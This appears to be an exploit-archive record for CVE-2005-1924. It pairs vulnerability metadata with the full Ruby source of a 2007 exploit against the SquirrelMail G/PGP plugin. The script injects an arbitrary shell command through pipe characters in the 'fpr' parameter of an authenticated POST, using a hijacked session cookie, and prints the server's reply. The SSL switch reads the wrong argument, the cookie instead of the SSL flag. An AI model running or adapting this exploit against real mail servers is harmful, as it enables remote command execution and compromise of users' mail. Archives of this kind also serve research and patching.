{"exploit":{"id":"EDB-4718","name":"SquirrelMail G/PGP Encryption Plugin - 'deletekey()' Command Injection","description":"SquirrelMail G/PGP Encryption Plugin - 'deletekey()' Command Injection","cves":["CVE-2005-1924"],"author":"Backdoored","published":"2007-12-11","platform":"php","type":"webapps","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4718","path":"exploits/php/webapps/4718.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4718.rb","vulnerabilities":[{"id":"CVE-2005-1924","state":"PUBLISHED","title":null,"titleSource":null,"description":"The G/PGP (GPG) Plugin 2.1 and earlier for Squirrelmail allow remote authenticated users to execute arbitrary commands via shell metacharacters in (1) the fpr parameter to the deleteKey function in gpg_keyring.php, as called by (a) import_key_file.php, (b) import_key_text.php, and (c) keyring_main.php; and (2) the keyserver parameter to the gpg_recv_key function in gpg_key_functions.php, as called by gpg_options.php. NOTE: this issue may overlap CVE-2007-3636.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-1924","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-1924"},"updatedAt":"2024-08-07T22:06:57.675Z","retrievedAt":"2026-11-26T18:04:34.361Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4718.png?v=2","url":"https://exploitbin.com/exploits/EDB-4718","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4718/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4718/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/local/bin/ruby\n\nputs\"http://backdoored.net\\n\"\nputs \"SquirrelMail G/PG deletekey() command injection exploit\\n\"\nputs \"http://backdoored.net    Visit Us\\n\"\nputs \"Coded by Backdoored member.   \\n\"\nputs \"--------------------------------------------------\\n\"\n\nif ARGV[0] == nil && ARGV[1] == nil && ARGV[2] ==  nil && ARGV[3] == nil && ARGV[4] == nil && ARGV[5] == nil\nputs \"Usage: ./squ_xploit  hostname path port cookie command 0\\n\"\nputs \"if host using ssl use 1 instead of 0\\n\"\nexit\nend\n\nrequire 'net/http'\nrequire 'net/https'\n\nhost = ARGV[0].to_s\nport = ARGV[2].to_i\ncookie = ARGV[3].to_s\nvictim = Net::HTTP.new(host,port)\n\tif ARGV[3].to_i == 1\n\tputs \"Entering SSL mode baby\\n\"\n\tvictim.use_ssl = true\n\tend\ncommand = ARGV[4].to_s\n#path = '/sq/plugins/gpg/modules/keyring_main.php'\npath = ARGV[1].to_s\ndata = \"id=C5B1611B8E71C***&fpr= | \" + command + \"| &pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1\"\npizza = \"key=pYWrEbVTY%2Bc%3D; SQMSESSID=\" + cookie;\nheaders = {\n  'Cookie' => pizza,\n  'Referer' => 'http://www.google.com',\n  'Content-Type' => 'application/x-www-form-urlencoded'\n}\nresp, data = victim.post(path,data,headers)\nputs 'Message = ' + resp.message\nputs  'Code = ' + resp.code\n\nresp.each {|key,val| puts key + ' = ' + val}\n#puts data\n\n# milw0rm.com [2007-12-11]","sha256":"cad63f0c80049317222cb915117e0da6a4633d1a701092a9809d52204702f3d2","bytes":1328,"fetchedAt":"2026-11-27T00:12:04.837Z","encoding":"utf-8 (display only; download retains original bytes)"}